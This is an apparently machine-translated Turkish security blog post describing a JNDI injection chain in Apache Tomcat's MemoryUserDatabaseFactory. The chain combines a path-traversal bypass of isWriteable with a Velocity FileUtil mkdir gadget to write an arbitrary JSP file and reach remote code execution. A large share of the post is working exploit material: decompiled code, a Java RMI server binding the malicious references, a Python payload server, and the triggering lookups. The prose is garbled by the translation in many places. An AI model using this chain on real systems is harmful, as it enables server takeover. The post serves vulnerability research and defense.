MemoryUserDatabaseFactory’de Yol Düzenleme yoluyla JNDI Enjeksiyon Uzaktan Kod Yürütme


Bu blog yazısında bir konuyu anlatacağım. göreceli yeni Diğer araştırmacılardan bağımsız olarak bulduğum bir JNDI Enjeksiyonu aracılığıyla uzaktan kod yürütmeyi sağlayan vektör. JNDI enjeksiyonu için nesne arama sürecinden yararlanma kavramı yeni bir şey değil. Eğer bu konuya yabancıysanız sizi Michael Stepankin tarafından yazılan bu mükemmel blog yazısını okumaya davet ediyorum.

İçeriğin bir kısmını Full Stack Web Attack’tan kaldırmaya karar verdim, bu nedenle bu düzeyde Java (ve/veya C#) analizinden hoşlanıyorsanız, Roma’da düzenlenecek bir sonraki dersime kaydolmaktan çekinmeyin.

MemoryUserDatabaseFactory

Aşağıdakilerden uygulayan türleri keşfederken ObjectFactory adında ilginç bir sınıf buldum org.apache.catalina.users.MemoryUserDatabaseFactory. Bu, tomcat-catalina kütüphane ve ünlü (ünlü)leri içeren kütüphaneyle aynı kütüphanedir. org.apache.naming.factory.BeanFactory. Bunun önemi daha sonra anlaşılacaktır.

Şundan başlayalım: getObjectInstance içinde MemoryUserDatabaseFactory sınıf.

/*     */   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
/*     */     ...
/*  81 */     Reference ref = (Reference)obj;
/*     */     ...
/*  88 */     MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
/*  89 */     RefAddr ra = null;
/*     */     
/*  91 */     ra = ref.get("pathname"); // 1
/*  92 */     if (ra != null) {
/*  93 */       database.setPathname(ra.getContent().toString());
/*     */     }
/*     */     
/*  96 */     ra = ref.get("readonly"); // 2
/*  97 */     if (ra != null) {
/*  98 */       database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
/*     */     }
/*     */     ...
/* 107 */     database.open(); // 3
/*     */     
/* 109 */     if (!database.getReadonly()) // 6
/* 110 */       database.save(); // 7
/* 111 */     return database;
/*     */   }

Burada bazı ilginç kodlar göze çarpıyor: [1] bir saldırganın kontrol edebildiğini görebiliriz pathname üzerindeki mülk MemoryUserDatabase misal.

Şu tarihte: [2] bir saldırgan aynı zamanda readonly aynı zamanda ayarlama. Ancak ilginç kod şurada görünüyor: [3] çağrısıyla open veritabanı örneğinde. Hadi kontrol edelim:

/*     */   public void open() {
/* 418 */     this.writeLock.lock();
/*     */     
/*     */     try {
/*     */       ...
/* 425 */       String pathName = getPathname(); // 4
/* 426 */       try (ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName)) {
/*     */         ...
/* 430 */         digester = new Digester();
/*     */         try {
/* 432 */           digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
/*     */         }
/* 434 */         catch (Exception e) {
/* 435 */           log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), e);
/*     */         } 
/* 437 */         digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
/*     */         
/* 439 */         digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
/*     */         
/* 441 */         digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
/*     */ 
/*     */ 
/*     */         
/* 445 */         digester.parse(resource.getInputStream()); // 5
/* 446 */       } catch (IOException ioe) {
/* 447 */         log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[] { pathName }));
/* 448 */       } catch (Exception e) {
/*     */         ...
/*     */       } 
/*     */     } finally {
/* 456 */       this.writeLock.unlock();
/*     */     } 
/*     */   }

Şu tarihte: [4] kod saldırganın kontrolünde kullanıyor pathname uzaktan kumandadan bir dosya indirmek ve dosyayı ayrıştırmak için [5]. Bu elbette harici bir varlık enjeksiyonuna yol açar (ama konudan sapıyorum!). Burada vurgulanması gereken önemli nokta, saldırganın users, groups veya roles XML dosyasındaki özellikleri kullanan değişkenler. Bu sadece standart tomcat-users.xml:

Yukarıdaki XML, “admin” rolünü ekleyecektir. roles Haritanın içi MemoryUserDatabase misal. Geri dönüyoruz getObjectInstanceSaldırgan şu adreste salt okunur özelliğini devre dışı bırakırsa: [6] o zaman ulaşabilirler save en [7].

/*     */   public void save() { 
/*     */     ... 
/* 555 */     if (!isWriteable()) { // 8
/* 556 */       log.warn(sm.getString("memoryUserDatabase.notPersistable"));
/*     */       
/*     */       return;
/*     */     } 
/*     */     
/* 561 */     File fileNew = new File(this.pathnameNew); // 9
/* 562 */     if (!fileNew.isAbsolute()) {
/* 563 */       fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
/*     */     }
/*     */     
/* 566 */     this.writeLock.lock();
/*     */     try {
/* 568 */       try(FileOutputStream fos = new FileOutputStream(fileNew); 
/* 569 */           OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8); 
/* 570 */           PrintWriter writer = new PrintWriter(osw)) {
/*     */ 
/*     */         
/* 573 */         writer.println("");
/* 574 */         writer.println(");
/* 575 */         writer.print("              ");
/* 576 */         writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");
/* 577 */         writer.print("              ");
/* 578 */         writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");
/* 579 */         writer.println("              version=\"1.0\">");
/*     */ 
/*     */         
/* 582 */         values = null;
/* 583 */         values = getRoles();
/* 584 */         while (values.hasNext()) {
/* 585 */           writer.print("  ");
/* 586 */           writer.println(values.next()); // 10
/*     */         } 
/* 588 */         values = getGroups();
/* 589 */         while (values.hasNext()) {
/* 590 */           writer.print("  ");
/* 591 */           writer.println(values.next());
/*     */         } 
/* 593 */         values = getUsers();
/* 594 */         while (values.hasNext()) {
/* 595 */           writer.print("  ");
/* 596 */           writer.println(((MemoryUser)values.next()).toXml());
/*     */         } 
/*     */       ...
/* 607 */       } catch (IOException e) {
/*     */           ...
/*     */       } 
/* 613 */       this.lastModified = fileNew.lastModified();
/*     */     } finally {
/* 615 */       this.writeLock.unlock();
/*     */     } 
/*     */     ...
/* 626 */     File fileOrig = new File(this.pathname);
/*     */     ...
/* 636 */     if (!fileNew.renameTo(fileOrig)) { // 11
/* 637 */       if (fileOld.exists() && 
/* 638 */         !fileOld.renameTo(fileOrig)) {
/* 639 */         log.warn(sm.getString("memoryUserDatabase.restoreOrig", new Object[] { fileOld }));
/*     */       }
/*     */       
/* 642 */       throw new IOException(sm.getString("memoryUserDatabase.renameNew", new Object[] { fileOrig
/* 643 */               .getAbsolutePath() }));
/*     */     } 
/* 645 */     if (fileOld.exists() && !fileOld.delete()) {
/* 646 */       throw new IOException(sm.getString("memoryUserDatabase.fileDelete", new Object[] { fileOld }));
/*     */     }
/*     */   }

Şu tarihte: [8] kod çağrıları isWriteable:

/*     */   public boolean isWriteable() {
/* 532 */     File file = new File(this.pathname);
/* 533 */     if (!file.isAbsolute()) {
/* 534 */       file = new File(System.getProperty("catalina.base"), this.pathname);
/*     */     }
/* 536 */     File dir = file.getParentFile();
/* 537 */     return (dir.exists() && dir.isDirectory() && dir.canWrite());
/*     */   }

Bu kod geri dönecek doğru sağlanan yol mevcutsa ve bir dizinse ve son olarak yazılabilirse. Ancak bir saldırgan aşağıdaki gibi uzak bir URI kullanırsa bunu nasıl başarabilir? http://attacker.tld/tomcat-users.xml?

Gelin daha yakından bakalım getParentFile. Aşağıdaki kodu çalıştırıyoruz…

File file = new File("http://attacker.tld/../../tomcat-users.xml");
File dir = file.getParentFile();
System.out.println("getParentFile result: " + dir);
System.out.println("exists: " + dir.exists());
System.out.println("isDirectory: " + dir.isDirectory());
System.out.println("canWrite: " + dir.canWrite());
System.out.println("isAbsolute: " + file.isAbsolute());

Sonuçlar:

getParentFile result: http:/attacker.tld/../..
exists: false
isDirectory: false
canWrite: false
isAbsolute: false

Burada ilginç olan şu ki getParentFile http’de tek eğik çizgiden (/) kaçar ve ardından dizinin mevcut olmadığını söyler. Eğer dizinleri oluşturursak http:/attacker.tld mevcut çalışma dizininde şunu elde ederiz:

getParentFile result: http:/attacker.tld/../..
exists: true
isDirectory: true
canWrite: true
isAbsolute: false

Yani, eğer bir saldırganın keyfi bir dizin oluşturma ilkesi varsa, o zaman bu kontrolü geçebilir! Saldırgan kontrolü geçtikten sonra erişim sağlayabilir. [9] kontrollü dosya adını oluşturan .new sonuna uzantı eklendi. Şu tarihte: [10] saldırgan kontrollü yazma gerçekleşir ve [11]dosya orijinal adıyla yeniden adlandırılır ve .new eklenti.

Saldırganın bypass etmesi mümkün olduğundan isWriteable kontrol ederseniz, uzaktan kod yürütülmesine yol açabilecek rastgele bir dosya yazımı elde etmek için bundan yararlanabilirler.

Bypassing isWriteable

O zamandan beri BeanFactory aynı kütüphane içindeyse, Java çekirdeğindeki herhangi bir tek dize argüman yöntemini çağırabiliriz. Apache Velocity kütüphanesinde rastgele bir dizin oluşturulmasına izin verecek böyle bir fasulye sınıfı buldum: org.apache.velocity.texen.util.FileUtil

/*    */ public class FileUtil
/*    */ {
/*    */   public static String mkdir(String s) {
/*    */     try {
/* 43 */       if ((new File(s)).mkdirs()) {
/* 44 */         return "Created dir: " + s;
/*    */       }
/* 46 */       return "Failed to create dir or dir already exists: " + s;
/*    */     }
/* 48 */     catch (Exception e) {
/*    */       
/* 50 */       return e.toString();
/*    */     } 
/*    */   }

Elbette bir saldırgan, rastgele bir dizin veya muhtemelen benzer bir fasulye içeren başka bir kütüphane oluşturmak için başka herhangi bir yöntemi kullanabilir.

Kavram Kanıtı

İki nesne bir RMI sunucusuna bağlıdır. Birincisi gerekli dizin yolunu oluşturacak, ikincisi ise saldırganın dosyasını yerleştirmek istediği konuma giden yolu izleyecektir. Gerçek bir saldırıda bu yolların ayarlanması gerekecektir.

package com.src.incite.jndi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
import com.sun.jndi.rmi.registry.*;

public class ObjectFactoryServer {
    public static void main(String[] args) throws Exception {
        System.out.println("(+) creating RMI registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);
        // for folder creation
        ResourceRef ref1 = new ResourceRef("org.apache.velocity.texen.util.FileUtil", null, "", "", true, "org.apache.naming.factory.BeanFactory",null);
        ref1.add(new StringRefAddr("forceString", "x=mkdir"));
        ref1.add(new StringRefAddr("x", "http:/127.0.0.1:1337/"));
        
        // for a file write
        ResourceRef ref2 = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory",null);
        ref2.add(new StringRefAddr("readonly", "false"));
        ref2.add(new StringRefAddr("pathname", "http://127.0.0.1:1337/../../../../some/path/to/apache-tomcat-9.0.65/webapps/ROOT/poc.jsp"));
        
        registry.bind("Dir", new ReferenceWrapper(ref1));
        registry.bind("Rce", new ReferenceWrapper(ref2));
    }
}

Ama tabii ki saldırgan ne yazacak? XML düğüm ayrıştırma işlemi nedeniyle çift tırnak işareti veya köşeli ayraç kullanamayacakları ortaya çıktı. Digester sınıf. Saldırgan elbette kullanarak bu sorunu ortadan kaldırabilir. ifade dili bir JSP dosyası yazacak olsalardı.

#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer

class el(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.lower().strip().endswith('/poc.jsp'):
            print("(+) request recieved: %s" % self.path)
            message = """
    
"""
            self.send_response(200)
            self.end_headers()
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))
        return

if __name__ == '__main__':
    HTTPServer(('0.0.0.0', 1337), el).serve_forever()

Bir JNDI istemcisinin güvenlik açığından etkilenmesi için aşağıdaki kitaplıklar gereklidir (sürümlerin önemi yoktur):

  1. Tomcat-catalina-9.0.24.jar
  2. Tomcat-juli-10.0.23.jar
  3. Tomcat-util-10.0.23.jar
  4. Tomcat-util-scan-10.0.23.jar
  5. hız-1.7.jar

Güvenlik açığı bulunan uygulamanın, süreç sahibi tarafından yazılabilir geçerli bir çalışma dizinine sahip olması gerekir ve bir saldırganın ayrıca JNDI enjeksiyonunu iki kez tetiklemesi gerekir. Saldırının Windows veya Unix tabanlı sistemlerde çalışması gerekiyor çünkü getParentFile eğik çizgiden kaçar ve her iki durumda da eğik çizgilerden bir yol oluşturulabilir.

new InitialContext().lookup("rmi://127.0.0.1:1099/Dir");
new InitialContext().lookup("rmi://127.0.0.1:1099/Rce");

Çözüm

Her ne kadar çeşitli bağımlılıklar gerekli gibi görünse de, başka dizin oluşturma vektörleri veya saldırıyı birbirine zincirlemek için başka yollar bularak bunu azaltabileceğimize eminim. Örneğin, eğer keyfi bir dizin oluşturma ilkeliniz varsa, hız bağımlılığını kaldırabilirsiniz. Ayrıca, birçok kütüphane birlikte gruplandırılır, paketlenir ve dağıtılır; böylece Tomcat catalina kütüphanelerini gördüğünüz yerde, kesinlikle Tomcat util kütüphanelerini de bulacaksınız.

Bu tipik olana güzel bir alternatif sunar BeanFactory + ELProcessor/GroovyShell ne zaman gerekli olabilecek kombinasyon ELProcessor veya GroovyShell mevcut değil ama yapmak hedef bağlamda JSP yürütülmesini gerektirir.

Referanslar



Source link